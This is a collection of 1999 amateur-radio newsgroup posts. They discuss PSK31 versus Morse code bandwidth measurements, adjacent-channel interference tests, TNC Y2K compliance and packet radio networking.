I believe that's where we're at. The OOK/ASK figures you bandy about
take this into account. Also, PSK31 copy in bad conditions is not 100%.
This doesn't show anywhere in your estimates. Taken all together, your
estimates do not take into account S/N, while your conclusions seem to
make this claim.

> > The question in my mind is how much of the improvement is due to
> > masking operator deficiencies, and how much is actual technical
> > achievement.
>
> In other words, you appear to be suggesting that inability to copy
Morse
> code by ear is an operator deficiency?

What are you trying to say, Dana? After much head scratching: Yes, given
that a usable signal is received, I'm stating that an inability to copy
Morse code by ear is an operator deficiency. It also means the common
PSK31 software has aids to help an operator zero-beat a signal, and
objectively assess its usefulness.

I am a friend of PSK31. I use PSK31. I also use CW. The estimates you
post failed the reality check of casual use. I responded to your query
for where you went astray. I also erred by overstating your claims; this
led to your questioning of my motives.

So, let's start over with a different phrasing:

NO WAY, DANA! PSK31 copies well in bad condx, but not 4.9 times better than CW. Not in my short experience, anyway. I think the problem is your mixing conservative empirical values for OOK/ASK with the optimistic theoretical minimums for PSK31. (The recommended spacing for PSK31 QSO's is no closer than 100 Hz.) Also, you are assuming BPSK in this discussion while, again, using worst case conditions for CW for comparison. I believe QPSK is more relevant for that particular discussion. Using these more realistic values, I believe you'll find that CW and PSK31 are actually quite comparable performance-wise. The difference more closely matches my subjective feel of maybe 15% to 25% better in very marginal conditions. In good conditions, PSK31 simply allows me to refill my wine glass without missing a single dit. In the end, the biggest difference is in ease of use, which I readily agree is a useful attribute.

Michael.

How about simply S/N for equal throughput? Noise seems to capture both
bandwidth and proximity of interfering signals. Power, of course,
equates well to usable signal.

Michael.

Dear Dana,

Excellent discussion.

Here's a thought relative to the analysis that you plan to make. After
you check out ALPHABET.TXT and note that Varicode is designed to
optimize throughput for lower case, most often use letters, etc., what
are you going to use for "typical" text in a ham QSO?

That was what led me to perform the empirical test instead. I simply
looked at existing text files that were readily available on the
computer and selected those that had what I consider to be the
"typical" ratio of letters to numbers and symbols, and "typical" ratio
of upper to lower case, and "typical" word lengths. This is a very
subjective process that you would have to go through, I would think.
When you get done doing that, and you apply that weigting to you
mathematical analysis, I cannot imagine how you would get a different
answer than my "stop watch" measurements, so please let me know what
you find.

What are you getting at? Are you attempting to suggest that with
CW you could use some abbreviations or QSO techniques that you could
not use with PSK31?
Or maybe that it does not matter to you how long it takes to complete
the QSO?

Reminds me of the debate between AMers and SSB in the late 50's.

To me PSK31 sounds like the first step to a new mode that utilizes DSP and the computer. Why do amateurs insist on the old modes? (CW, SSB, and RTTY are old modes). Amateurs caused the military and commercials to go to SSB and pushed packet when it was not popular. Lets stay on the leading edge and still enjoy all the modes.

Have you tried PSK31 or satellite, or moonbounce, or the WARC bands, 160 meter Dxing or the new Pactor modes???? Theory is fine but hams have always empircally tried new things or else we would never have moved to 200 meters and down.

I don't believe that this horse is anywhere near dead, or even showing the least wear from our beatings. The coffee-shop napkin analyses so far only serves to define the question. I hope to see a realistic comparison of weak signal performance between CW and BPSK and QPSK sometime soon.

Michael.

I'm currently completing a paper on APRS in the UK (explaining how it works, what you need to make it work, how to get started, local UK considerations).

To make the paper more useful to UK readers, I want to include specific information on activity throughout the country -- I know/believe there are pockets of activity in at least East Anglia, the Northwest, the Northeast and Birmingham.

If you are active on APRS, please email me with your callsign and location (nearest town, not lat/long), so I can add them to a map I'm compiling.

Thanks.

Hello Joe:

Timewave technology purchased the AEA TNC and software line and is currently manufacturing, servicing and upgrading those products. The new PC PakRATT for Windows is $79.95, There is an upgrade available if you currently have a master disk, or receipt for AEA software.

You can also download a trial copy of PK TEM '99 from http://www.timewave.com and give that software a test. It runs on WIN95/98/NT. If you decide to register that software, It is also $79.95.

The PK-232 manual is $24.95 from timewave. Hope this helps.

Is there any other programs than the first psk31 program ?

If so, where may they be found ? I have looked several days for some.

The one I have crashes the sound card driver. That is not the only program that does, several others will and several will run. The board is a cheap onw that has all the sound and vidio built into the mother board and has a 200mhz processor. The psk31 program will run on another computer in the house, but it is too far away from the radio to use.

Hi,
I'm looking to build a digital tuner -- compact in size (circa 1.5"x3"x3") [thats HxWxD], with a standard Motorola antenna input and a female mini-plug output. I'm planning on using this in my car and connecting it to my car-kit (a permanent connection)-- the tuner thats in the receiver right now is an analog one and isn't very good. I don't know if I would need to include some kind of amp in the tuner -- so, perhaps that would be something one of you could help me with. I want to make this as inexpensively and with little hassle as possible (i have... well, no real electronics knowledge). If any of you can help me out and/or point me in the right direction that would be greatly appreciated.

Write Log supposedly supports PSK. However, it probably wouldn't work with
your sound card either.

I know it may sound simplisitic, but being you are having so much difficulty
with your sound card, and even an AWE 64 Soundblaster (100% compatable with
PSK31) is quite inexpensive, wouldn't you be better off buying a good card?

I assumeyou have downloaded the latest drivers foryour sound card???

2836. Minimum spacing for PSK31: an empirical test

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-20 00:00:00 UTC
From: Dana Myers K6JQ <DMyers@Qnet.com>
Message-ID: <376DB2CB.1DE6043F@Qnet.com>
Source record: 17742

Always in search of information, I spent about 30 minutes dinking with
PSK31 tonight, attempting to determine the minimum necessary spacing
required for error-free operation - with the popular PSK31SBW software
implementation.

I used two notebook computers for the test, one running PSK31SBW version 1.05
and the other running CoolEdit 96. Audio from the PSK31 system was captured
as 16-bit mono at 44.1Ks/s, then downsampled to 9600 s/sec for handling. Signal
levels were adjusted to avoid overload.

I recorded a CQ using my callsign (K6JQ) with a center frequency of 1000Hz,
and saved it as cq1000.wav.

I then produced 'QRM' files at other center frequencies, by running PSK31
transmit and typing random characters ('asdfjkhksdfjhskdjhfskdjhfskdjfhskdjfhskd').

The QRM file was mixed at equal amplitude with the CQ file, taking care to adjust
amplitudes to avoid overflow. I then used the PSK31 system to 'receive' the test
files.

Here's the results:

Center freq of
Interference Errors

967Hz None; software squelch automatic
975Hz None; manually triggered software squelch
979Hz Small number of single-character errors; triggered squelch manually
983Hz Large number of errors; squelch triggered manually

Based on this simple test, I'd observe that the PSK31SBW software is usable with a 50Hz
bandwidth (25Hz center-to-center spacing). Note the following:

1) Signal amplitudes were equal, and I did not evaluate stronger interfering signals.
2) Your radio's IF is also certainly much wider than 50Hz and you may encounter AGC
'blocking' with strong close-by signals.

Glen - if you're referring to the 480-message thread that developed out of an inflammatory Morse code discussion, I don't believe it explored the salient issues well at all. From the very get-go, that thread was charged with emotion and bias, not something that leads to sound, objective analysis.

While I'm not inclined to adopt Michael's proposal (count how many QSOs you can make with PSK31 and Morse code and compare the numbers) because it is far too subjective and not bounded well enough, I am inclined to agree with Michael that we ought to develop some kind of relevant practical comparison. Unfortunately, this is seriously complicated by the subjective nature of Morse code reception.

I tried to start with *very objective* figures regarding throughput and bandwidth, but there's a great deal of enthusiasm to immediately discuss weak-signal performance, which is, as noted directly above, mired in subjective measurement of Morse code performance.

As for Charles' "dead horse" comment, I can appreciate your emotion, but we need sound technical contribution, not shallow complaining. Thanks.

> only serves to define the question. I hope to see a realistic comparison
> of weak signal performance between CW and BPSK and QPSK sometime soon.

If you'd like to see the comparison, you're probably going to have to help. I've started what I hope continues to be a sequence of objective measurements, by determining the minimum required practical bandwidth of a BPSK PSK31 transmission. I'm nowhere near analyzing the noise performance yet, so be patient and help move forward.

I believe the ultimate goal is to relate throughput, bandwidth and S/N in a meaningful way. The easiest first step is to relate throughput and bandwidth - and it is easiest to work with the PSK modes since they're not influenced by operator skill.

I've attempted to relate the practical varicode throughput to Morse code speed in an estimate, and tend to agree that this is just variable enough that the estimate of 43WPM (which I regard as slightly conservative) is a reasonable "stake in the ground". Combined with my experiment which indicated a minimum necessary bandwidth of 50Hz for PSK31 (in BPSK, but I suspect QPSK is quite similar), this gives a bandwidth/WPM value of 1.16 Hz/WPM.

Now, Michael - let's work on a relevant figure for Morse code. You refused to accept bandwidth calculations based on the Bw = (WPM/1.2) * K where K is typically 5; let me comment on this.

Inspecting a number of ARRL test reports for HF radios, it appears that common HF radios today have a Morse code rise/fall time around 2mS, regardless of code speed. This effectively makes K variable with respect to code speed, or, to put it another way, effectively fixes the bandwidth of the transmitted signal. Sending very slowly, the value of K will apparently increase, while sending rapidly the value of K will apparently decrease. On the receiving end, you can narrow the bandwidth which effectively reduces the K value but does not reduce the bandwidth of the transmitted signal.

I'd like to see a first stab at determining how close two Morse conversations cam be in frequency before the number of errors becomes non-zero. I suspect the hardness of keying is less important than the ability of the human ear to distinguish between two signals very close in frequency (remember, for PSK31 a separation of 25Hz was adequate to give error-free reception with equal strength signals). Using a very narrow filter may help, but this will inherently limit the useful code speed (which may become much more significant when we get to the S/N part of the

analysis).

So, Michael, what can you (or anyone else interested) offer up as credible empirical data regarding the minimum separation of Morse signals under zero-noise conditions?

Thanks!
Dana

: this is seriously complicated by the subjective nature of Morse code reception.

The problem of making somewhat objective comparisons is that the tests
have to be done in very carefully controlled environments e.g.
consistent propagation conditions.

Some modes will work very well in a white noise environment, some have
problems in near vertical reflection angle short range low HF
conditions, some might have problems in multihop near MUF
communications, others might have problems with severe phase/frequency
distortion (aurora or EME with lots of libration fading) and some with
severe multipath (mobile communication in UHF/SHF).

Making the test in one kind of environment and generalising the
results to all environments is a big mistake, since one mode excellent
in one type of environment may degrade very rapidly when used in an
other environment that it was not optimised for.

One might think that selecting a mode that had a mediocre performance
at best in all environments but suffering only a small degradation in
some special condition would be a reasonable compromise. This was a
reasonable approach when each mode required special hardware, but now
that several protocols can be switched simply by loading new software
to a DSP or sound card, I do not see the point of selecting the one
and only mode. There is no need for such a "one size fits all"
approach.

I think the mode should be picked separately for each kind of
propagation environment. For this reason it is important at least try
to make objective comparisons between modulation methods in various
propagation environments to find the strong points and weak points for
each method, thus helping in selecting the proper mode for each type
of contact.

I am researching the Y2K compliance of TNC's, as well as the impact of Y2K on the packet system. Our local packet users want to have all remedies in place before the end of this year.

I require the following information:

- Which TNC's are Y2K compliant?
- What impact will users of non-compliant TNC's experience?
- What must our packet network do to prevent any problems?

I shall contact the manufacturers of commercial TNC's, but I may miss some brands. Your input will be appreciated.

Regards
Deon ZR1DQ

A boot floppy with FlexNet and a term program such as BCT.
A "BayCom" type Packet modem.
An H/T with a flexible, roll-up J-Pole antenna made of TV twin-lead.

Everything but the H/T will fit in your pocket. The little pocket HT's don't put out enough signal for packet, unless you are lucky enough to find a local node with DAMA access. A full-size HT works best otherwise, and will work even better if you can amplify the power up to at least 15 watts or so.

If the node has DAMA access, you can work it with 350 milliwatts and still not be a "hidden transmitter".

Find a computer with an unused COM port, plug in the BayCom, put in the floppy and reboot the machine.
If needed, you can adjust the software to use a different COM port very easily by editing the FlexNet batch file, where the SER12 driver is called up to drive the BayCom. - Just change the port number there to suit. Most times though, you tend to end up on COM2.

This setup is great if you have no laptop or palmtop, but know that there will be a computer of some sort available where you are going. It is non-intrusive, in that once you unplug the BayCom, pull the floppy and reboot the machine again, it will return to doing whatever it was set up for originally.

Agreed. My inclination is to do all testing in a totally controlled (non-radio)
context and evolve the models. This is still complicated by the difficulty of
getting consistently objective data for Morse performance.

Absolutely! I do not believe we should be looking for the one "best" mode,
but we should develop enough understanding to appreciate the collection of
attributes that contribute to the performance of a mode under different
conditions and requirements.

That's nothing short of amazing, Dana. Perhaps I have the wrong
understanding of what you mean by bandwidth an center to center
spacing. I have always assumed that an SSB voice channel for amateur
use should be consideres a approximately 2.5 kHz and there for the
user to user spacing should be 2.5 kHz - not 1250 Hz. You are
suggesting that 50 Hz bandwidth signals can operate with a user to
user spacing of 25 Hz. Something doesn't seem right here. It seems to
be in defiance of theory and common sense.

We know that the two tones of a PSK31 signal (at idle) are,
essentially, 31 Hz apart. For a signal whose center fequency is 1000
Hz, the two tones would be at about 984.5 and 1015.5 Hz

What your data would suggest is that the interfering signal could be
centered at 1025 Hz, with its two tones at 1009.5 and 1040.5.

....X.....................Y......X.....................Y.............

Something like the above distribution, where the x's are the primary
signal and the y's are the interfering signal.

I think you would agree that such an arrangement does not LOOK
feasible.

I can't wait to try out an experiment of my own, but my second station
is disassembled at the moment waiting for a plumber to come and do
some work in the wall where the second station USED to be set up - Hi!

Ahh but if you don't have the right date you'll only be able to talk with spark
gap transmitters when 1/1/00 is thought to be 1900! <grin>

If you use PAKET as I do you can have the date reset from the computer
everytime you connect to the TNC. Works fine for me.

Silly me! Yes, you're correct. 25Hz spacing does not give a bandwidth
of 50Hz. Doh! The effective channel width is 25Hz, which is better
than we expect given the worst-case bandwidth requirement of 31Hz.

> We know that the two tones of a PSK31 signal (at idle) are,

There aren't two tones. PSK31 is a phase-shift mode, there's only a
single carrier tone, under the worst case you have two sidebands that are
31Hz apart but there's only one tone (carrier).

> feasible.

I can send you the WAV files if you're interested (all of this stuff
ought to be on my web page, I suppose).

To summarize the experiment: I mixed together two PSK31 BPSK signals, one at 1000Hz and the other at 967, 975, 979 and 983 Hz. At 967Hz and 975Hz, the 1000Hz signal was decoded without error, close spacing resulted in errors (a few at 979Hz, many at 983Hz).

This experiment is not difficult to reproduce in the comfort of your own home, though it does require the use of two computers. I'd love to hear from anyone else that tries it.

The next challenge is to develop a similar test for Morse code and a method to evaluate usability.

2851. Airbourne digital network over TCP/IP

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-21 00:00:00 UTC
From: Josh Howlett <josh.howlett@bris.ac.uk>
Message-ID: <FDoMIE.F3p@fsa.bris.ac.uk>
Source record: 17658

Hi,

I'm a glider pilot in the U.K. investigating the possibility of setting up an airbourne packet radio network to facilitate the transfer of various types of information between gliders, and between gliders and gound stations. I'm thinking in particular of location information (via GPS), met information, thermal strength, etc.

I have a lot of experience with tcp/ip over ethernet but none whatsoever with packet radio. Consequently, I'm having all *kinds* of conceptual difficulties seeing how packets would be routed around a network with such contorted physical and logical topologies! (hosts as near as 10m or as far as 500km; hosts which are moving!) And then there are the issues pertaining to packet radio that i wouldn't have a clue about anyway - what are the likely issues running a packet radio network at 0-20000 ft asl over, say 250,000km^2 (500kmx500km)? I don't have a clue!

There also seems to be a total lack of hard networking information on the internet about the packet radio protocols. Is any of it covered by the RFCs? Can anyone provide any pointers?

Any thoughts appreciated!

(if emailing please reply to josh_howlett@yahoo.com)

Note that I spoke of the two tones that one sees in a spectral display
when the PSK31 signal is "at idle". Under those conditions, all you
see are the two sidebands - correct?

>I can send you the WAV files if you're interested (all of this stuff
>ought to be on my web page, I suppose).

Unfortunately, I am not sure of where your Web page is, so if you
could point me to it or just send me the necessary files as
attachments, I will begin the tests immediately, since I have two
PSK31 stations co-located at this QTH.

Use w9dmk@crosslink.net for the e-mail.

Much appreciated, Dana, and I think you're doing a great job in
keeping this thread on an even keel.

There's a known problem with some sound cards under Win95. There's
a known fix too, but I'm drawing a blank trying to remember what it is
right now. Check out the PSK31 website, I think the problem and fix
are discussed there. (This may fix the problems you have with other
programs too.)

Source record: 17664

Hello, Dana. First, I want to say thanks for taking the first step in what I hope is a meaningful analysis of PSK31 performance.

Dana Myers K6JQ <DMyers@Qnet.com> wrote in message news:376DBD6C.932CB106@Qnet.com...

> I've attempted to relate the practical varicode throughput to Morse code

>
> Now, Michael - let's work on a relevant figure for Morse code. You
> refused to accept bandwidth calculations based on the Bw = (WPM/1.2) * K
> where K is typically 5; let me comment on this.

I'm actually OK with the figures published by the ARRL. I accepted them on faith the moment I read them. The general result is 150 Hz spacing for 36 wpm Morse under fading conditions (K=5), increasing with keying speed.

Where we differ is the conditions used to measure PSK31 performance. Anecdotally, I've worked contacts in good band conditions shoulder-to-shoulder with adjacent contacts. This bears out the 50 Hz minimum bandwidth you're showing in your first experiment. So far so good.

Contrarily, and also anecdotally, I've had isolated S9 signals that were quite difficult to copy. The scope fluttered strongly, at times approaching 90 deg. out of phase. The resulting copy was broken, almost impossible to read. Even manually applied FEC didn't help sufficiently.

This is the background I'm using to evaluate PSK31 performance. I have neither the equipment or formal training to go much beyond.

[snip]
> So, Michael, what can you (or anyone else interested) offer up as credible empirical
> data regarding the minimum separation of Morse signals under

zero-noise conditions?

Barring objections, I offer ARRL's published figures as representative of CW performance under various conditions. They are meaningful in our context and, to my knowledge, unchallenged on their technical merit.

My background and expertise is in software design and implementation. Even there, after looking at the HF Channel simulator page referenced elsewhere by Gary C., I don't believe I can make much contribution for a quick answer. Given that, a software-only simulator is entirely possible, but a significant undertaking. I believe this would be one meaningful approach to answering this and future similar questions. The results will be 100% repeatable, and can thus be minutely dissected to test validity.

There are commercial implications in an undertaking of this size, but at present, I believe credit as contributing author in a technical publication is sufficient reward. So, Gary, Dana, et al, I'm game for the hunt if you are. I need help in determining the appropriate distortions seen in HF propagation channels.

Michael.

Technically it's not an insurmountable problem. Legally it is, as you
won't get a licence to operate aeronautical mobile on the amateur bands
in the UK.

One would think so. But imbedded micros frequently have a date/time function that is unused and set at the factory (far cheaper than making micros without date/time capability). These just might be the biggest problem with Y2K. A few months ago I saw a soda machine (also without visible means for setting a date or time) locked up when it hit the 99th day of '99. It rolled the price of sodas up to $100.00 and would not allow any change. It made me put together contingency plans for all electronics I will need after the first just in case. Good luck.

Great work, thanks for the contribution.

There is a great body of data communications work that seems to be
ignored in most of the postings about PSK31. To summarize:

For a given bandwidth, power, and error rate, in Gaussian white noise,
PSK (optimized for the given parameters) will outperform CW (also optimized)
by quite a bit. In this context, "outperform" means it will have a greater
data rate. For "power" I would suggest this definition: the max you can
get
out of your existing transmitter in each mode. The results won't change
much if you use peak power or average power instead.

In real hf communication channels, PSK will still outperform CW. However,
I don't think this has much relevance to ham communications.

As for comparing machine generated PSK31 at it's baud rate with
CW sent and received by wet computers, why bother? Both will
continue to exist. CW is "better" if you like CW, PSK31 is "better"
if you like to converse via keyboard and computer. CW is better
for working lots of stations quickly, as in contests. PSK is more fun,
for some. etc, etc. (I like both! What a radical idea!)

It might be more useful to compare PSK31 with RTTY as currently practiced.
With on-line QSOs, both can keep up with the typing/thinking speed
of most people. PSK31 uses less bandwidth and has lower error rate.
Therefore I hope eventually PSK31 will replace RTTY, and I think it
(or something else) will.

cheers,
Glen, KG0T

I hope by now it is clear that noise performance of these modes was
not a part of any analysis I've done. At some point, it will become
interesting to include noise characteristics in the analysis, but we've got
to figure out a reasonable method to collect objective data about about
manually received Morse code before any substantive comparison
can be made.

Since I'm only attempting to evaluate the throughput/bandwidth ratios
in a noise-free context so far, I don't see how you can possibly differ
(yet) with the conditions under which the "performance" is being measured.
Is this fair?

A noise/propagation simulator is very valuable, but I'm not sure we're
going to be able to use it well before we understand the "typical" Morse
operator characteristics with respect to noise and distortion.

There has been research done on the topic of manual reception of
Morse code, but I admittedly don't have access to it. It would be
interesting to see some objective data in this area (not anecdotal
accounts).

One possible approach is to produce test audio files which contain
simulated Morse code, and these files are given to a 'panel' of
Morse operators to receive by ear. Perhaps tedious and we'd
have to go to some care to minimize the subjective part of the
process. Results from the panel would be combined.

In the case of PSK31, I'm using a notion of 'error
threshold' - where does reception go from error-free
to some small number of errors. While this does not
measure actual BER (and tends to imply a zero BER
has been achieved which is probably not technically
true), this is a fairly easy to use method that is

objective and relevant.

Thoughts?

Dana

Hi guys,

I have enjoyed this conversation not only because it helps us find
out many things about PSK31, but the most important is that it seems
to me the MOST CIVILIZED debate I have ever experienced here.

This is to say that many debates in this MAILING LIST are not civilized
at all. I wish that all debates could continue like this one where the
worst words one can see are the words "subjective or objective opinion".

To me this is a very decent way to argue.

We have all experienced some crackers arguing in this LIST and they keep
coming back as loud as they can without saying anything. At least in this
debate everybody (well a high percentage anyway) says something constructive.

Please keep it up.

Some thoughts:

Whilst some of the TNCs may contain a hardware clock, it runs entirely in software in some implementations, so your question should be widened to which TNC software is Y2K compliant.

For example, a very quick review of TF2.7B reveals this bit of code:

```
case 2 : if (time.year % 4)
n = 29;
else
n = 30;
break;
```

which seems to calculate the rollover point for the days at the end of February. This assumes that all years that are evenly divisible by 4 are leap years, which is not true, but it will work correctly for Y2K, but will fail in 2100. There may be other TF2.7B issues.

Equally importantly will be the workstation software which may be set to preload the TNC clock every time the software starts.

I would think the most critical elements will be node software for TNCs which may run in unattended remote sites and a failure to rollover and end of this year might stop them and require physical attendence to restore service. Hardware vendors would not be authoritive on node software unless they have specific ports to their equipment, you will need to contact the development groups.

Of course, no responsibility for any errors or ommissions in the above.

2866. Adjacent Channel Interference with PSK31SBW

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-22 00:00:00 UTC
From: nobody@crosslink.net
Message-ID: <376ee852.2682996@news.crosslink.net>
Source record: 17672

The following tests were conducted this afternoon, the 21st of June, 1999.

Background:
Yesterday evening, Dana Myers, K6JQ, (Dana@Source.Net) posted results of his tests on this newsgroup His test results were so amazing that I felt obliged to attemp to confirm the results independantly
with a slightly different test setup.

Objectives:
The purpose of this test was to determine the effects of adjacent channel interference between two PSK signals. Ideally, one could hope for a
clear cut indication of the amount of separation for equal strength signals that
could reasonably be expected to provide interference free QSO's
.
Test Setup:
Computers #1 and #2 are sending PSK31 text using program PSK31SBW version 1.06 by GPLX. The audio output from those two computers is mixed in a
mixing pad consisting of 56K resistors feeding into a 5K potentiometer, which
isolates the two sources and also provides a means of adjusting the level of
signal into Computer #3, which is also running the same software. At the end
of the critical tests, the signals were also monitored using MixW32, since that
program provides a radically different view of the spectrum. Audio levels at the
output of Computers #1 and #2 were carefully adjusted to be equal at approximately 2.3 volts (at idle). The potentiometer was set for 32.5% which
gave approximately 74
millivolts at the Line-In jack of the sound card, and the mixer level for
Line-In was set at approximately mid-scale. The length of the yellow radial
lines in the phase scope, which indicates the level of signal as seen by the
software, were approximately 45% of the radius of the phase scope. The screen
pictures will allow exact measurement for those who demand that level

of detail.

Pictures:
Six screen pictures were taken and
will be referred to herein. However, since we do not attach binary
files to
postings, the screen pictures will be made available only to those who
send a
private e-mail request to me at w9dmk@crosslink.net. The 6 pictures
are approx. 90 kB in the
aggregate. A period of 2 days from time of posting this bulletin will
be allowed
for notifying me of your picture
requests, and no pictures will be sent out until the end of that two
days. They
will be sent to all addressees in one mailing.

Test Procedures:
Coomputer #1 was set up to transmit a text file on 1000Hz and
Computer #2 was set up to transmit a different text file on 1060 Hz.
Computer #3
was set up to receive on 1000 Hz and uses AFC On. As soon as I was
satisfied
that everything was stable. See INTFTST1.JPG, which shows the two
signals in
the waterfall, both sending text, and with a separation of about 60
Hz. I
began decrementing the frequency on Computer #2,
in 1 Hz steps, closer and closer to the frequency of Computer #1. As
I watched
the screen copy on Computer #3, I noted that when I got down to 1015
to 1017 Hz
(a separation of only 16 Hz), the receiving computer was definitely
unlocked and
the phase scope was red. I then incremented the frequency of Computer
#2, in 1
Hz steps) until I could see that the receiving computer had again
locked on the
signal and was copying the primary signal. This occurs at
approximately 1021 to
1025 Hz (See picture INTFTST2.JPG for a picture of the two signals
separated by
25 Hz
and 100% copy on the primary signal). I allowed both signals to go
idle and
observed the idle signals in the waterfall. There were only 3 separate
tracks.
The upper and lower tone of
the two signals were essentially merged into one track. See
INTFTST3.JPG for
the picture of the two signals, 25 Hz apart and idling. I turned on

file
transmissions from both sending computers and changed the
software in Computer #3 to MixW32 ver 1.0/Demo, by Nick Fedoseev,
UT2UZ. I
then resumed sending text from both transmitting computers, and
picture
INTFTST4.JPG shows the copy with the cursor on the primary signal. It
is clear
that the two signals have merged into
one three-humped signal and it is also clear that by switching the
receive
center frequency back on forth between 1000 and 1025.5, either signal
can be
copied 100%. See picture INTFTST5.JPG for the same two signals but
now the
cursor is set to copy the higher frequency signal. In setting up
MixW32, I
chose to have the spectrum start at 750 Hz
instead of the default of 384 Hz. During the tests where the
interfering signal
was close enough to cause the primary signal to unlock, and when the
two signals
were at idle, it was noted that under those conditions only, the AFC
loop in
PSK31SBW starts pulling the receive frequency
lower but does not pull it more than about 2 Hz (to 998 Hz). One
operational
difference was noted between PSK31SBW and MixW32 in regard to
interference, and
that is that PSK31SBW shuts down and stops printing when the
interference gets
severe. On the other hand, MixW32 keeps on printing, and the print
becomes
garble. In other words, the "squelch" feature in PSK31SBW recognizes
when it
cannot copy, whereas there is no equivalent feature in MixW32.

Summary and Conclusions:
For clean PSK31 signals of equal strength at the receiver, the
receiving system
can separately copy, with a high degree of reliability, signals that
are as
close as 25 Hz (center frequency to center frequency).

The tests that were run yesterday by Dana, K6JQ, have been
independantly
verified.

Hello Deon:

The following Timewave/AEA TNC's have been tested and are Y2K compliant when
running on a Y2K compliant PC platform.

PK-12
PK-96
PK-232, HK-232, PK-232MBX
PK-232/DSP
PK-900
PK-900/DSP
DSP-232
DSP-1232
DSP-2232
IDR-96

The hardware is Y2K compliant and these tests were performed using PK TERM
'99, PC PakRATT for Windows ver 2.1 for Win 3.1. Note that the version 2
release of PC PakRATT for Windows is NOT Y2K ready. Upgrades may be obtained
from Timewave Technology Inc. See http://www.timewave.com

None of the DOS products from AEA are Y2K ready and all DOS/MAC products have
been dropped from the Timewave line.

best of DX and vy 73

John Douglas

Hi all,

I am looking for some information regarding packet radio to include on my website, if you have any documents/html files on your computer that you think would be useful to supply a beginner or radio amateur then please mail them to me as i would be very interested. At the moment, my site has been visited many many times, and i believe that if i can find more information regarding packet radio then there would at least be a small central point for information to those who need it.

So, if you have any info on:

Packet Radio Terms, Jargon etc..
TNC Information including Y2K compatibility.
HOW-TO's and TNC/Radio modifications.
Documents about various experiments concerning packet radio.
Technical information.

Anything you believe would be useful to those beginning/operating the packet radio hobby (whether its Amateur or Citizens Band.

Many thanks for reading this and i hope to hear some positive feedback :-)

Best Regards

Please list the types of micro's that have this feature, and are not
advertising it as a real advantage that warrants extra cost on the item.

Please explain how it locks up the device when the function is unused.

Also explain how the manufacturer solved the timezone problem.

>A few
>months ago I saw a soda machine (also without visible means for setting a date
>or time) locked up when it hit the 99th day of '99. It rolled the price of
>sodas up to $100.00 and would not allow any change. It made me put together
>contingency plans for all electronics I will need after the first just in case.

Of course the function was not unused in this machine.

Most TNC's use Z80 micros. NMOS devices from the early ages of
microprocessors. I remember that I had one as the central processor in my
first microcomputer, and I could dig into it fairly deeply. E.g. find
instructions that were not in its instruction manual, but still did
something interesting.
In all that time I have never encountered a secret manufacturer-set real
time clock in it.

Rob

Thanks but no thanks. CB Packet operators have disrupted the Amateur Packet Radio net enough already, thank you.

Until FBB quits making software that allows CB and HAMS to get their Packet networks and messages mixed up with each other, I can only view CB Packet as a source of constant disruption and trouble for Amateur Packet Radio.

F6FBB deserves a good swift kick in the ass for deliberately creating the current difficulties between CB Packeteers and Hams. He could have made two almost identical, but incompatible versions of his software for Ham and CB use, but no, he insisted upon setting things up so that they would tend to interfere with each other instead.

PSK31 has a very good chance of replacing RTTY. We must remember that
RTTY's great DX advantage stems from the existence of old RTTY gear
scattered around the planet in great DX locations. As that old gear breaks
down, PSK31 (or something like it) will offer a cheap, easy replacement. -
And this will lead to PSK31 replacing RTTY.

That's one theory, anyway.

Hi Charles.

Im sorry you feel this way about the 2 hobbies, i can appreciate your point and i know exaclty what you mean about the disruption of the mail systems in certin countries. But this point is not the case in all countries, for example, here in the Netherlands there are no connections to the Amateur Net from CB and visa versa, as both nets are well established, run legaly and are properly maintained. It is sad to see how in other parts of the world that this is not the case.

Anyway, back on the original subject, the UKPG site is for everyone, as there is no point in discriminating those who are legally allowed to use the same radio mode, all be it on a different frequency/band with different licensing procedures.

Im still open to anyone interested in sending info about packet radio.

Best Regards
Greg.

P.S If you are wondering why the UKPG is called the UKPG, and i'm in the Netherlands, well thats becuase it was originally founded in the UK and there was no point in changing the name since the users are from all round the world anyway.

There is no need for me to take the time to give you the list you ask for. If I had it I would be quite wealthy assisting companies with their 2K problems. I just reported a couple of things I learned. If you wish, take precautions. If not do your thing. Either way it is of no consequence to me.

If you want to cry wolf, don't be surprised if someone asks to see
evidence of the wolf. Rob is right on; RTC functions have special
requirements (such as back-up power source) that simply have not been
a common part of CPUs. I believe Dallas Semi makes a series of
battery-backed CPUs with RAM and RTC, but they're nowhere near
common, and nowhere near cheaper than a CPU without an RTC.

The embedded Y2K issue keeps coming, and it is perhaps the most
specious of the Y2K issues there.

To me it's a software issue, not a CB vs Ham deal. I think digital CB is great, but when poorly concieved software brings on a likelihood of interference between the two nets, trouble is sure to follow. This is what I am objecting to. - Software which creates problems that don't really need to exist anywhere, in the first place.
It's great that through regulation, you have the problem "worked around" on a local level. I'm saying the problem would not need to be worked around at all, anywhere if it didn't exist in the first place due to poorly concieved software.
Fix the software, and the "issue" is no longer an issue. Ham and CB software should be seperate versions, with mutually incompatable callsign and message forwarding setups.

The solution is really pretty simple, and does not rely on every user being well regulated, etc..

If it can't be done, it's not likely to be a problem. If it can, it certainly will. That's Murphy's Law!

2879. Semi-Portable Packet

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-22 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7ko4pi$bp5@enews4.newsguy.com>
Source record: 17685

A boot floppy with FlexNet and a term program such as BCT.
A "BayCom" type Packet modem.
An H/T with a flexible, roll-up J-Pole antenna made of TV twin-lead.

Everything but the H/T will fit in your pocket. The little pocket HT's don't put out enough signal for packet, unless you are lucky enough to find a local node with DAMA access. A full-size HT works best otherwise, and will work even better if you can amplify the power up to at least 15 watts or so.

If the node has DAMA access, you can work it with 350 milliwatts and still not be a "hidden transmitter".

Find a computer with an unused COM port, plug in the BayCom, put in the floppy and reboot the machine.
If needed, you can adjust the software to use a different COM port very easily by editing the FlexNet batch file, where the SER12 driver is called up to drive the BayCom. - Just change the port number there to suit. Most times though, you tend to end up on COM2.

This setup is great if you have no laptop or palmtop, but know that there will be a computer of some sort available where you are going. It is non-intrusive, in that once you unplug the BayCom, pull the floppy and reboot the machine again, it will return to doing whatever it was set up for originally.

You seemed to imply that 50hz spacing was impossible. It is good that
you clarified your position.

sufficiently.

That is also not very surprising. While PSK31's immunity to AWGN is
pretty good, it is not nearly so resilient in the face of multipath and
phase distortions. Such conditions aren't particularly uncommon on HF.
